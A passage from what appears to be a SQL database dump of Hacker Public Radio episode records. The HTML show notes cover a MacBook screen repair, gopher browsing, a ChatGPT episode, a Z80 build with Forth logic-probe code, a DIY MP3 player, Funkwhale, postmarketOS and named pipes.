time</li>\n</ul>\n<p>Links</p>\n<ul>\n<li><a\nhref=\"https://www.ipcop.org/index_php.html\">https://www.ipcop.org/index_php.html</a></li>\n<li><a\nhref=\"https://www.pcengines.ch/alix2d3.htm\">https://www.pcengines.ch/alix2d3.htm</a></li>\n<li><a\nhref=\"https://pcengines.ch/apu2.htm\">https://pcengines.ch/apu2.htm</a></li>\n<li><a\nhref=\"https://pcengines.ch/howto.htm#OS_installation\">https://pcengines.ch/howto.htm#OS_installation</a></li>\n<li><a\nhref=\"https://www.openbsd.org/faq/pf/example1.html\">https://www.openbsd.org/faq/pf/example1.html</a></li>\n</ul>\n',342,0,0,'CC-BY-SA','openbsd, ansible, router',0,0,1),
(3802,'2023-02-28','Attack of the Squishmallow',5809,'Rho`n records replacing the screen to a MacBook Pro','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n records his attempt to replace a broken MacBook Pro display. Content warning: May cause drowsiness&mdash;do not listen while driving or operating heavy machinery. On the other hand, it may be conducive to a good nap in which you drift off to sleep while listening to the introduction and wake up in time to hear how things turn out in the end.</p>\n\n<p>Production notes: The \"truncate silence\" audio effect in your audio editor is your friend. The original recording length was around 2 hrs and 15 minutes. After truncating the silence it was down to 1 hour and 36 minutes.</p>\n\n<style>\ndiv#figures {\n display: flex;\n flex-direction: row;\n flex-wrap: wrap;\n justify-content: center;\n}\ndiv#figures figure { text-align: center; width: 300px;\n box-shadow:\n 0 1px 1px hsl(0deg 0% 0% / 0.075),\n 0 2px 2px hsl(0deg 0% 0% / 0.075),\n 0 4px 4px hsl(0deg 0% 0% / 0.075),\n 0 8px 8px hsl(0deg 0% 0% / 0.075),\n 0 16px 16px hsl(0deg 0% 0% / 0.075) }\ndiv#figures figcaption { max-width: 25vw; text-align: left; padding: 0 0.5em 0.5em 0.5em }\ndiv#figures img { max-width: 50vw; margin-bottom: 0.5em;\n box-shadow:\n 0 1px 1px hsl(0deg 0% 0% / 0.075),\n 0 2px 2px hsl(0deg 0% 0% / 0.075),\n 0 4px 4px hsl(0deg 0% 0% / 0.075),\n 0 8px 8px hsl(0deg 0% 0% / 0.075),\n 0 16px 16px hsl(0deg 0% 0% / 0.075)}\n</style>\n<div id=\"figures\">\n<figure>\n <a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image01-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image01-sm.jpg\"\n alt=\"Laptop in the work area\"></a>\n <br>\n <figcaption>The MacBook Pro with the broken display removed.\n To the left are they small plastic cups containg the screws\n and other small parts that were removed for dissembly.\n <br></figcaption>\n</figure>\n<figure>\n <a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image02-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image02-sm.jpg\"\n alt=\"New display\"></a>\n <br>\n <figcaption>The new laptop display not completely removed from its packaging.<br></figcaption>\n</figure>\n<figure>\n <a href=\"http://www.hackerpublicradio.org/eps/hpr3802/image03-lg.jpg\"><img src=\"http://www.hackerpublicradio.org/eps/hpr3802/image03-sm.jpg\"\n alt=\"Repaired Laptop\"></a>\n <br>\n <figcaption>The repaired laptop booted to its login screen<br></figcaption>\n</figure>\n</div>\n\n<h1>References</h1>\n<ul>\n <li><a href=\"https://en.wikipedia.org/wiki/Squishmallows\">Squishmallows</a></li>\n <li><a href=\"https://www.ifixit.com/Guide/MacBook+Pro+13-Inch+Function+Keys+2017+Display+Assembly+Replacement/117328\">iFixIt: MacBook Pro 13\" Function Keys 2017 Display Assembly Replacement</a></li>\n</ul>\n\n<h1>Attribution</h1>\n\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:\n<br>Name: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a>\n<br>Author: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a>\n<br>License: <a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','DIY, Macbook, Macbook Pro, pc repair, repair',0,0,1),
(3801,'2023-02-27','Enter the gopher',822,'Participating in the gopher internet protocol','<p>If you would like to talk about gopher on Mastodon, I\'m\n<code>@screwtape@mastodon.sdf.org</code> (and I have a weekly aNONradio\nshow about gopher)</p>\n<ul>\n<li><p>floodgap link<br />\n<a href=\"https://gopher.floodgap.com\"\nclass=\"uri\">https://gopher.floodgap.com</a></p></li>\n<li><p>Web proxy to menu with ascii art<br />\n<a\nhref=\"https://gopher.floodgap.com/gopher/gw.lite?=gopher.club+70+312f75736572732f78696c65642f\"\nclass=\"uri\">https://gopher.floodgap.com/gopher/gw.lite?=gopher.club+70+312f75736572732f78696c65642f</a></p></li>\n<li><p>Get on a tilde:<br />\n<a href=\"https://sdf.org\" class=\"uri\">https://sdf.org</a><br />\n<a href=\"https://tildeverse.org\"\nclass=\"uri\">https://tildeverse.org</a></p></li>\n</ul>\n<pre><code> $ ssh username@tty.sdf.org # Following sdf.org &#39;s instructions\n $ # Some good gophers to browse\n $ lynx gopher://gopher.club\n $ lynx gopher://tildeverse.org\n $ lynx gopher://floodgap.com</code></pre>\n<ul>\n<li><p>You might have to<br />\n<code>apt install lynx</code><br />\nor<br />\n<code>pkg_add lynx</code><br />\nor etc.</p></li>\n<li><p>sdf.org:<br />\n<code>$ mkgopher</code><br />\n<a href=\"https://phlogosphere.org\"\nclass=\"uri\">https://phlogosphere.org</a> or</p></li>\n<li><p>tilde.institute tilde (for example):<br />\n<code>$ man burrow # how to use burrow</code><br />\n<a href=\"https://wiki.tilde.institute/w/gopher\"\nclass=\"uri\">https://wiki.tilde.institute/w/gopher</a></p></li>\n<li><p>Gopher standard!<br />\n<a href=\"https://rfc-editor.org/info/rfc1436\"\nclass=\"uri\">https://rfc-editor.org/info/rfc1436</a><br />\nMastodon: <code>@albatross@sdf.org</code></p></li>\n<li><p>elpher-mode<br />\n<a href=\"https://elpa.nongnu.org/nongnu/doc/elpher.html\"\nclass=\"uri\">https://elpa.nongnu.org/nongnu/doc/elpher.html</a><br />\n<a href=\"https://mastodon.sdf.org/@screwtape/109334057925655327\"\nclass=\"uri\">https://mastodon.sdf.org/@screwtape/109334057925655327</a></p></li>\n<li><p>phetch<br />\n<a href=\"https://github.com/xvxx/phetch\"\nclass=\"uri\">https://github.com/xvxx/phetch</a></p></li>\n<li><p>overbite<br />\n<a href=\"https://gopher.floodgap.com/overbite/\"\nclass=\"uri\">https://gopher.floodgap.com/overbite/</a></p></li>\n<li><p>proxy to floodgap<br />\n<a href=\"https://gopher.floodgap.com/gopher/\"\nclass=\"uri\">https://gopher.floodgap.com/gopher/</a></p></li>\n<li><p>Cool gophers:</p>\n<ul>\n<li>gopher://tilde.institute/1/~screwtape/</li>\n<li>gopher://gopher.club/1/users/nm03</li>\n<li>gopher://linkerror.com</li>\n<li>gopher://gopher.black</li>\n<li>gopher://i-logout.cz/1/bongusta</li>\n</ul></li>\n<li><p>(Very) Advanced! Self-hosting tls gopher:<br />\ngophernicus (+ reference to stunnel4)<br />\n<a href=\"https://github.com/gophernicus/gophernicus\"\nclass=\"uri\">https://github.com/gophernicus/gophernicus</a></p></li>\n</ul>\n',416,0,0,'CC-BY-SA','gopher,protocol,smolnet,tutorial,introduction,internet,retro',0,0,1),
(3803,'2023-03-01','Chatbot hallucination',407,'The inevitable show featuring a segment written by the chatbot ChatGPT.','<p>A simple case of \"garbage in, garbage out\", but it\'s interesting to\nsee it \"try\" to make sense.</p>\n<p>In this show, I asked ChatGPT to write me the script for an episode\nof Hacker Public Radio, and tried to confuse it. Then, some thoughts on\nchatGPT and these chatbots in general.</p>\n<h2 id=\"references\">References:</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/ChatGPT#Limitations\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ChatGPT#Limitations</a></li>\n<li><a href=\"https://spectrum.ieee.org/magnus-carlsen-chess-scandal-ai\"\nclass=\"uri\">https://spectrum.ieee.org/magnus-carlsen-chess-scandal-ai</a></li>\n<li><a\nhref=\"https://help.openai.com/en/articles/6783457-chatgpt-general-faq\"\nclass=\"uri\">https://help.openai.com/en/articles/6783457-chatgpt-general-faq</a></li>\n</ul>\n',399,0,1,'CC-BY-SA','chatgpt,\"artificial intelligence\"',0,0,1),
(3805,'2023-03-03','Document File Formats on Wikipedia',736,'Document File Format - a continuation of Content Format','<p><em><em>Document File Format - a continuation of Content\nFormat</em></em></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Document_file_format\"\ntitle=\"Wikipedia - Document File Formats\">Wikipedia - Document File\nFormats</a></p>\n<p><em><em>Creators of Markdown</em></em></p>\n<p><a href=\"https://en.wikipedia.org/wiki/John_Gruber\"\ntitle=\"Wikipedia - John Gruber\">Wikipedia - John Gruber</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Aaron_Swartz\"\ntitle=\"Wikipedia - Aaron Swartz\">Wikipedia - Aaron Swartz</a></p>\n',318,0,0,'CC-BY-SA','Documents, Formats',0,0,1),
(3807,'2023-03-07','PeePaw builds a computer',2040,'Brian starts the process of building an 8 bit retro computer','<ol type=\"1\">\n<li>intro\n<ul>\n<li>who is peepaw?<br />\nMe!</li>\n<li>why a retro computer?<br />\nhelp a kid understand computers</li>\n<li>why z80?<br />\ncheap, available, cheap</li>\n</ul></li>\n<li>the plan\n<ul>\n<li>build from scratch</li>\n<li>build something like a tec1<br />\n<a href=\"https://en.wikipedia.org/wiki/TEC-1\"\nclass=\"uri\">https://en.wikipedia.org/wiki/TEC-1</a></li>\n<li>a great guide is the 1981 book build your own z80 computer<br />\n<a\nhref=\"https://archive.org/details/BuildYourOwnZ80ComputerSteveCiarcia\">Build\nYour Own Z80 Computer Steve Ciarcia/</a></li>\n<li>get started with nop tester<br />\n<a href=\"http://www.z80.info/z80test0.htm\"\nclass=\"uri\">http://www.z80.info/z80test0.htm</a></li>\n<li>want an expandable system</li>\n<li>keep the cost down</li>\n<li>work up to a system like the jupiter ace (which is like a zx-81\nsinclair computer)<br />\n<a href=\"https://en.wikipedia.org/wiki/Jupiter_Ace\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Jupiter_Ace</a></li>\n</ul></li>\n<li>getting started, the nop test\n<ul>\n<li>use an arduino mega board and some forth to spin up the most basic\nz80 system<br />\n<a\nhref=\"https://gitlab.com/8bitforce/retroshield-hw/-/tree/master/hardware\"\nclass=\"uri\">https://gitlab.com/8bitforce/retroshield-hw/-/tree/master/hardware</a></li>\n<li>give the z80 5 volts, a clock and the right data and it will happily\nstart up and run through its address space doing nothing</li>\n</ul></li>\n<li>the nop tester, in software\n<ul>\n<li>make a forth logic probe<br />\n<a href=\"https://en.wikipedia.org/wiki/Logic_probe\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Logic_probe</a></li>\n<li>use a gate method of frequency counting<br />\n<a href=\"https://ww1.microchip.com/downloads/en/Appnotes/doc8365.pdf\"\nclass=\"uri\">https://ww1.microchip.com/downloads/en/Appnotes/doc8365.pdf</a></li>\n<li>create a few forth words to make a \"logic probe\" and test that\nprobe<br />\n<a\nhref=\"https://pajacobs-ghub.github.io/flashforth/ff5-tutorial-guide.html#_counting_button_presses\"\nclass=\"uri\">https://pajacobs-ghub.github.io/flashforth/ff5-tutorial-guide.html#_counting_button_presses</a></li>\n<li>need an arduino mega running flashforth<br />\n<a href=\"https://store.arduino.cc/products/arduino-mega-2560-rev3\"\nclass=\"uri\">https://store.arduino.cc/products/arduino-mega-2560-rev3</a><br />\n<a href=\"https://flashforth.com/atmega.html\"\nclass=\"uri\">https://flashforth.com/atmega.html</a></li>\n<li>datasheet<br />\n<a href=\"https://store.arduino.cc/products/arduino-mega-2560-rev3\"\nclass=\"uri\">https://store.arduino.cc/products/arduino-mega-2560-rev3</a><br />\n<a\nhref=\"https://ww1.microchip.com/downloads/en/devicedoc/atmel-2549-8-bit-avr-microcontroller-atmega640-1280-1281-2560-2561_datasheet.pdf\"\nclass=\"uri\">https://ww1.microchip.com/downloads/en/devicedoc/atmel-2549-8-bit-avr-microcontroller-atmega640-1280-1281-2560-2561_datasheet.pdf</a></li>\n<li>some jumper wires</li>\n<li>z80</li>\n<li>solderless bread board</li>\n</ul></li>\n<li>the code walk through, start from the bottom up note: ( -- ) are\nstack effect comments, back slashes are plain comments\n<ul>\n<li>constants</li>\n<li>variable</li>\n<li><code>@ ! mset mclr mtst</code></li>\n<li>set up external interrupt, int4, arduino board pin4</li>\n</ul></li>\n</ol>\n<pre><code>\\ the source code\n\\ declare some constants and variable as labels\nvariable Compare\nvariable Count\n\n$100 constant PINH \\ these labels come from the atmega2560 datasheet\n$101 constant DDRH\n$102 constant PORTH\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i \\ the frequency counter\n\n: logicprobe-init ( -- )\n 1249 Compare ! \\ 100 hz\n %0000.1000 DDRH mset \\ h3 output\n %0100.0000 TCCR4A c! \\ toggle d6, ph3 on compare match\n 0000.1011 %TCCR4B c! \\ set ctc mode, clk/64\n Compare @ OCR4A ! \\ set compare value\n %0 DDRE c! \\ e input\n 0001.0000 PORTE mset \\ pullup on e4\n %0000.0010 %EICRB mset \\ falling edge\n [&#39;] ext4.irq #6 int!\n;\n\n\\ helper words\n\n: start-clock ( -- ) %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ; \\ the bit manipulation does what the word says\n: stop-clock ( -- ) %0000.0000 TCCR4A c! %0000.0000 TCCR4B c! ;\n: set-frequency ( n -- ) OCR4A ! ; \\ set compare value\n: pin-high ( -- ) %0000.1000 PORTH mset ;\n: pin-low ( -- ) %0000.1000 PORTH mclr ;\n: open-gate ( -- ) 0 Count ! %0001.0000 EIMSK mset ;\n: close-gate ( -- ) %0001.0000 EIMSK mclr ;\n\n: process-data ( -- )\n Count @ 1- Count ! \\ clean up value in Count\n Count @ dup 0 &gt; if \\ is Count greater than 0, if so its pulsing\n cr .&quot; freq=&quot; 10 * .\n else \\ otherwise its not so is it high or low?\n drop\n %0000.1000 PINH mtst\n if\n .&quot; high&quot;\n else\n .&quot; low&quot;\n then then\n ;\n\n : wait ( -- ) 100 ms ;\n\n : sample-pin ( -- ) open-gate wait close-gate process-data ; \\ the &#39;logic probe&#39;</code></pre>\n<ol start=\"6\" type=\"1\">\n<li><p>test<br />\n<em>Arduino</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3807/setup.jpg\"\nalt=\"Arduino\" /></p>\n<ul>\n<li>clock, using 16 bit timer4, its output is on pin6, running at\n100hz</li>\n<li>need to be able to start and stop the clock, and set the output pin\nhigh or low</li>\n<li>sample-pin is the word that does the work</li>\n<li>ouput from the serial terminal exercising the logic probe ( comments\nadd after the fact):</li>\n</ul>\n<pre><code>E FlashForth 5 ATmega2560 13.06.2022\n\nok&lt;#,ram&gt;\nlogicprobe-init ok&lt;#,ram&gt; (start up the logic probe)\nsample-pin (sample the pin)\nfreq=100 ok&lt;#,ram&gt; ( its oscilating at 100hz)\nstop-clock ok&lt;#,ram&gt;\nsample-pin low ok&lt;#,ram&gt; ( after stopping the clock the pin is low)\npin-high ok&lt;#,ram&gt;\nsample-pin\nhigh ok&lt;#,ram&gt; ( now its high)\n125 set-frequency ok&lt;#,ram&gt;\nstart-clock ok&lt;#,ram&gt;\nsample-pin\nfreq=1000 ok&lt;#,ram&gt; ( after changing the frequency its 1000hz)</code></pre></li>\n<li><p>next time</p>\n<ul>\n<li>repurpose the 16bit clock and use it to drive the z80, we\'ll hook up\nthe data port of the z80 to the arduino mega and use the logic probe to\nsee if the z80 is working</li>\n</ul></li>\n</ol>\n',326,0,0,'CC-BY-SA','retro computing, forth, arduino',0,0,1),
(3808,'2023-03-08','Funkwhale A social platform to enjoy and share music',3650,'Ken interviews Ciarán Ainsworth about Funkwhale that lets you listen and share music and audio','<p>Funkwhale is a community-driven project that lets you listen and\r\nshare music and audio within a decentralized, open network</p>\r\n<ul>\r\n<li><a href=\"https://funkwhale.audio/\">https://funkwhale.audio/</a></li>\r\n<li><a\r\nhref=\"https://funkwhale.audio/en_US/faqs\">https://funkwhale.audio/en_US/faqs</a></li>\r\n<li><a\r\nhref=\"https://funkwhale.audio/en_US/apps/\">https://funkwhale.audio/en_US/apps/</a></li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Grooveshark\">https://en.wikipedia.org/wiki/Grooveshark</a></li>\r\n<li><a href=\"https://vuejs.org/\">https://vuejs.org/</a></li>\r\n<li><a href=\"https://musicbrainz.org/\">https://musicbrainz.org/</a></li>\r\n<li><a\r\nhref=\"https://picard.musicbrainz.org/\">https://picard.musicbrainz.org/</a></li>\r\n<li><a\r\nhref=\"https://www.subsonic.org/pages/index.jsp\">https://www.subsonic.org/pages/index.jsp</a></li>\r\n<li><a href=\"https://open.audio/\">https://open.audio/</a></li>\r\n<li><a\r\nhref=\"https://www.castopod.com/en\">https://www.castopod.com/en</a></li>\r\n<li><a href=\"https://tanukitunes.com\">https://tanukitunes.com</a></li>\r\n<li><a href=\"https://castopod.org/\">https://castopod.org/</a></li>\r\n<li><a\r\nhref=\"https://fosstodon.org/@funkwhale\">https://fosstodon.org/@funkwhale</a></li>\r\n<li><a\r\nhref=\"https://blog.funkwhale.audio\">https://blog.funkwhale.audio</a></li>\r\n<li><a href=\"https://dev.funkwhale.audio/funkwhale/funkwhale\">https://dev.funkwhale.audio/funkwhale/funkwhale</a>\r\n</ul>\r\n',30,0,0,'CC-BY-SA','funkwhale,Grooveshark,iTunes,vue,musicbrainz,picard,subsonic,castopod',0,0,1),
(3809,'2023-03-09','The Abominable Post Apocalyptic Podcast Player',1194,'Build a Three Dollar MP3 player in One Hour','<p>Notes: Forgot to mention that I hot glued the top lid (original lid\nfor the \'speaker box\'), on top of the boards. I had used the device with\nthe top uncovered for a month because I hoped I would find a better\nchoice but after getting tired of the wires detaching and worrying about\nthe sdcard slot getting wrecked I decided to commit to glueing the lid\non.</p>\n<p>The boards are very robust, I dropped them in the snow a few times.\nThey would stop working but after drying off would function.</p>\n<p>I didn\'t find the datasheet with the resistance values for other\nvalues until after I glued the lid so will have to open it up again or\nget into one of the switch lines and do resistor combinations... now\nthat I know more I think I should be able to control the mp3 player with\none analog output pin from the arduino for all the functions, since it\nseems the pin 8 that all the switch resistors lead to detects voltage\nlevels from the voltage divider created when one of the switches goes to\nground.</p>\n<p>The robot is using 4 lines right now for mp3 control. Would be cool\nif I could free up 3 more but I don\'t remember if any of them are\noccupying an analogue slot.</p>\n<p>No power button! None needed. Pause and unpause via momentary switch.\nThe charger board can charge from micro usb or usb-c and will protect\nyour 18650 cell from running flat and damaging itself.</p>\n<p>Check out my robots: <a\nhref=\"https://bitchute.com/channel/mechatroniac\"\nclass=\"uri\">https://bitchute.com/channel/mechatroniac</a></p>\n<p>Post Apocalyptic Robotics Database Entry:<br />\nHH000000000<br />\nH Hybrid: Denotes some prepurchased or hard to find components<br />\nH Human use: For use by biological humans</p>\n<p>Tools and supplies</p>\n<ul>\n<li>multimeter - not strictly required but highly recommended</li>\n<li>Soldering iron</li>\n<li>solder(thinner solder wire works better for electronics)</li>\n<li>wire stripper</li>\n<li>hot glue gun</li>\n<li>electric or duct tape</li>\n<li>side cutters/cutting pliers/aircraft snips</li>\n</ul>\n<p>Buy:</p>\n<ul>\n<li><p>1s 18650 charger board<br />\n<a href=\"https://www.aliexpress.us/item/2251832744326141.html\"\nclass=\"uri\">https://www.aliexpress.us/item/2251832744326141.html</a></p></li>\n<li><p>GPD2846A TF Card MP3 Decoder Board 2W Amplifier<br />\n<a href=\"https://www.aliexpress.com/item/4000188516180.html\"\nclass=\"uri\">https://www.aliexpress.com/item/4000188516180.html</a><br />\n<a href=\"https://www.aliexpress.com/item/32968306923.html\"\nclass=\"uri\">https://www.aliexpress.com/item/32968306923.html</a></p></li>\n</ul>\n<p>Find or Buy:</p>\n<ul>\n<li><p>short lengths of wire</p></li>\n<li><p>4 ohm speaker (can be found in old tvs)</p></li>\n<li><p>momentary switches(3) - can be found in vcrs, tvs, dvd\nplayers...</p></li>\n<li><p>18650 cell</p></li>\n<li><p>3.5g weed jar or similar + lid</p></li>\n<li><p>larger lid</p></li>\n</ul>\n<p>(optional)<br />\nYou should consider getting an arduino or a kit</p>\n<ul>\n<li><p>Keyestudio Basic Starter Kit V2.0 With UNO R3 Board Or Mega 2560\nR3 Board<br />\n<a href=\"https://www.aliexpress.com/item/1005004961819902.html\"\nclass=\"uri\">https://www.aliexpress.com/item/1005004961819902.html</a></p></li>\n<li><p>GPD2846A datasheet<br />\n<a\nhref=\"https://pdf1.alldatasheet.com/datasheet-pdf/view/1132627/ETC2/GPD2846A.html\"\nclass=\"uri\">https://pdf1.alldatasheet.com/datasheet-pdf/view/1132627/ETC2/GPD2846A.html</a><br />\n<a\nhref=\"https://datasheetspdf.com/pdf-file/949393/Generalplus/GPD2846/1\"\nclass=\"uri\">https://datasheetspdf.com/pdf-file/949393/Generalplus/GPD2846/1</a></p></li>\n</ul>\n<p><em>Picture 1 - shows the slit in the lid where the sdcard resides. Sdcard and slot are protected from being bumped by the strategically placed, glued lid</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230221_121827127.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230221_121827127_thumbnail.jpg\"\nalt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 2 - shows charging, microusb cord is coming in from the bottom, LED on charging board illuminates brightly</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230219_180706268.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230219_180706268_thumbnail.jpg\"\nalt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 3 - shows both boards glued to bottom lid, with the top lid off</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230212_140602078.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230212_140602078_thumbnail.jpg\"\nalt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 4</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3809/mp3player.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/mp3player_thumbnail.png\"\nalt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n',401,91,1,'CC-BY-SA','robotics, mp3, GPD2846A, GPD2846, DIY, arduino ',0,0,1),
(3813,'2023-03-15','The postmarketOS Podcast',1893,'Ken welcomes a new podcast to the Free Culture Podcast family','<h1 id=\"postmarketos-podcast\">postmarketOS Podcast</h1>\r\n<ul>\r\n<li>Website: <a href=\"https://cast.postmarketos.org/\"\r\nclass=\"uri\">https://cast.postmarketos.org/</a></li>\r\n<li>Feed: <a href=\"https://cast.postmarketos.org/feed.rss\"\r\nclass=\"uri\">https://cast.postmarketos.org/feed.rss</a></li>\r\n<li>Copyright: Creative Commons Attribution-ShareAlike 4.0 International\r\n(CC BY-SA 4.0) License</li>\r\n<li><a href=\"https://cast.postmarketos.org/episode/28-FOSDEM-2023-special/\">https://cast.postmarketos.org/episode/28-FOSDEM-2023-special/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h1>#28 FOSDEM 2023 Special</h1>\r\n\r\n<p>Between the Saturday closing of FOSDEM 2023 and going to a restaurant, we\r\nmanaged to squeeze around a table outside the cafeteria to record the very\r\nfirst ever in-person postmarketOS podcast episode! Fresh in the moment we share\r\nour experiences from the FOSS on mobile devroom, meeting great people at the\r\nLinux on Mobile stand (and everywhere else at FOSDEM/in Brussels) and random\r\nother cool things that were going down.</p>\r\n<p>Featuring @spaetz (sampled in the intro), @ollieparanoid, @linmob, @craftyguy,\r\n@MartijnBraam, @calebccff, @PureTryOut, @z3ntu (in order of appearance).</p>\r\n<p>Photos:</p>\r\n<ul>\r\n<li>@calebccff: <a href=\"https://fosstodon.org/@calebccff/109808038695004886\">\"recorded the first in person @postmarketOS podcast episode LIVE from #FOSDEM !\"</a></li>\r\n<li>@craftyguy: <a href=\"https://freeradical.zone/@craftyguy/109807524847524784\">\"#postmarketOS core team... Assemble!\"</a></li>\r\n<li>@awai: <a href=\"https://fosstodon.org/@awai/109812598426346120\">\"The beauty and diversity of the #LinuxOnMobile bazaar!\"</a></li>\r\n<li>@z3ntu: <a href=\"https://fosstodon.org/@z3ntu/109812602670785848\">\"The Linux on Mobile stand at #FOSDEM is pretty packed!\"</a></li>\r\n<li>@linmob: <a href=\"https://fosstodon.org/@linmob/109814654331788517\">\"#FOSDEM was really awesome, it only went by too quickly!\"</a></li>\r\n<li>@mntmn: <a href=\"https://mastodon.social/@mntmn/109808024287105873\">\"this was ~intense~! thanks to everyone who was interested in MNT Pocket Reform\"</a></li>\r\n</ul>\r\n<p>Video recordings of the talks:</p>\r\n<ul>\r\n<li><a href=\"https://spacepub.space/w/4caM2SQS2we81hyRuPrFPY\">Where do we go from here? (Audio fixup)</a><ul>\r\n<li>Matrix room: <a href=\"https://matrix.to/#/#fossmo-wg:matrix.org\">#fossmo-wg:matrix.org</a></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2023/schedule/track/foss_on_mobile_devices/\">FOSS on mobile devices devroom</a> (as of writing, most talks have already been uploaded)</li>\r\n</ul>\r\n<p>PinePhone and Lima / Mesa:</p>\r\n<p>We\'re aware that\r\n<a href=\"https://gitlab.freedesktop.org/mesa/mesa/-/issues/8198\">mesa#8198</a>\r\nis still causing problems for people on the PinePhone. Big thanks to @enues\r\nfrom mesa who was talking to us at the stand and is now looking into it! We\r\nalso have issue\r\n<a href=\"https://gitlab.com/postmarketOS/pmaports/-/issues/805\">pmaports#805</a> about\r\nscreen freezes. If you are affected by this and would like to help out, firing\r\nup a profiler and making/contributing to detailed, useful bugreports upstream\r\nat mesa is appreciated.</p>\r\n<p>@spaetz from Mobian did a great job at moderating the devroom! (Correction:\r\nOllie said from Maemo instead of Mobian in the recording.)</p>\r\n<p><small>Editing by: @ollieparanoid,\r\nMusic by: <a href=\"http://www.thepassionhifi.com\">The Passion HiFi</a></small>\r\n<hr />\r\n',30,75,1,'CC-BY-SA','postmarketOS,Free Culture Podcast,FOSDEM',0,0,1),
(3811,'2023-03-13','mkfifo and named pipes',678,'Have you ever named a pipe? If not, this is the episode you\'ve been waiting for.','<p>A named pipe is like a UNIX pipe, except it takes the form of a file.</p>\n\n<pre><code>\n$ mkfifo mypipe\n$ echo \"Hacker Public Radio\" &#62; mypipe &#38;\n$ cat mypipe\nHacker Public Radio\n</code></pre>\n\n',78,42,0,'CC-BY-SA','pipe, fifo, mkfifo, Linux, shell',0,0,1),
(3812,'2023-03-14','PeePaw\'s computer does nothing',1527,'a z80 nop test','<p>peepaws computer does nothing</p>\n<ol type=\"1\">\n<li>who\'s peepaw, whats the goal\n<ul>\n<li>to build and understand the inner workings of an 8 bit computer and\nmaybe one day pass it on to a grand kid</li>\n</ul></li>\n<li>this episode -nop test\n<ul>\n<li>do a nop test, that is get the z80 up and running executing the nop\ninstruction</li>\n<li>using the facilities of an arduino mega board running flash forth to\ndo that, talk about pictures</li>\n<li>why? flash forth is interactive, without being such a big\napplication itself. Happily runs on an atmega328</li>\n<li>why the mega, oodles and oodles of io, so emulating hardware should\nbe a snap</li>\n<li>use the microcontroller board to provide 5 volts, clock signal and\ndata to get the z80 up and running</li>\n<li>use the logic probe to see if there is activity on the address\nbus</li>\n</ul></li>\n<li>wiring up\n<ul>\n<li>hot glued solderless breadboard on to an arduino mega protoshield,\nwhite wire is the logicprobe input</li>\n<li>power and ground first</li>\n<li>clock, blue</li>\n<li>control lines int, nmi, wait busrq and reset</li>\n<li>orange wires data bus</li>\n<li>address lines go around the chip clockwise from the clock signal\n(blue wire) we\'ll be probing A0, next to the ground line</li>\n</ul></li>\n</ol>\n<p><em>1.logicprobe.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/1.logicprobe.jpg\"\nalt=\"1.logicprobe.jpg\" /></p>\n<p><em>2.power.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/2.power.jpg\"\nalt=\"2.power.jpg\" /></p>\n<p><em>3.clock.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/3.clock.jpg\"\nalt=\"3.clock.jpg\" /></p>\n<p><em>4.control.signals.jpg</em><br />\n<img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/4.control.signals.jpg\"\nalt=\"4.control.signals.jpg\" /></p>\n<p><em>5.data.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/5.data.jpg\"\nalt=\"5.data.jpg\" /></p>\n<p><em>6.ready.to.probe.jpg</em><br />\n<img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/6.ready.to.probe.jpg\"\nalt=\"6.ready.to.probe.jpg\" /></p>\n<p><em>z80-pinout.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/z80-pinout.jpg\"\nalt=\"z80-pinout.jpg\" /></p>\n<p><em>2560-pinout.jpg</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3812/2560-pinout.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/2560-pinout_thumbnail.jpg\"\nalt=\"2560-pinout.jpg\" 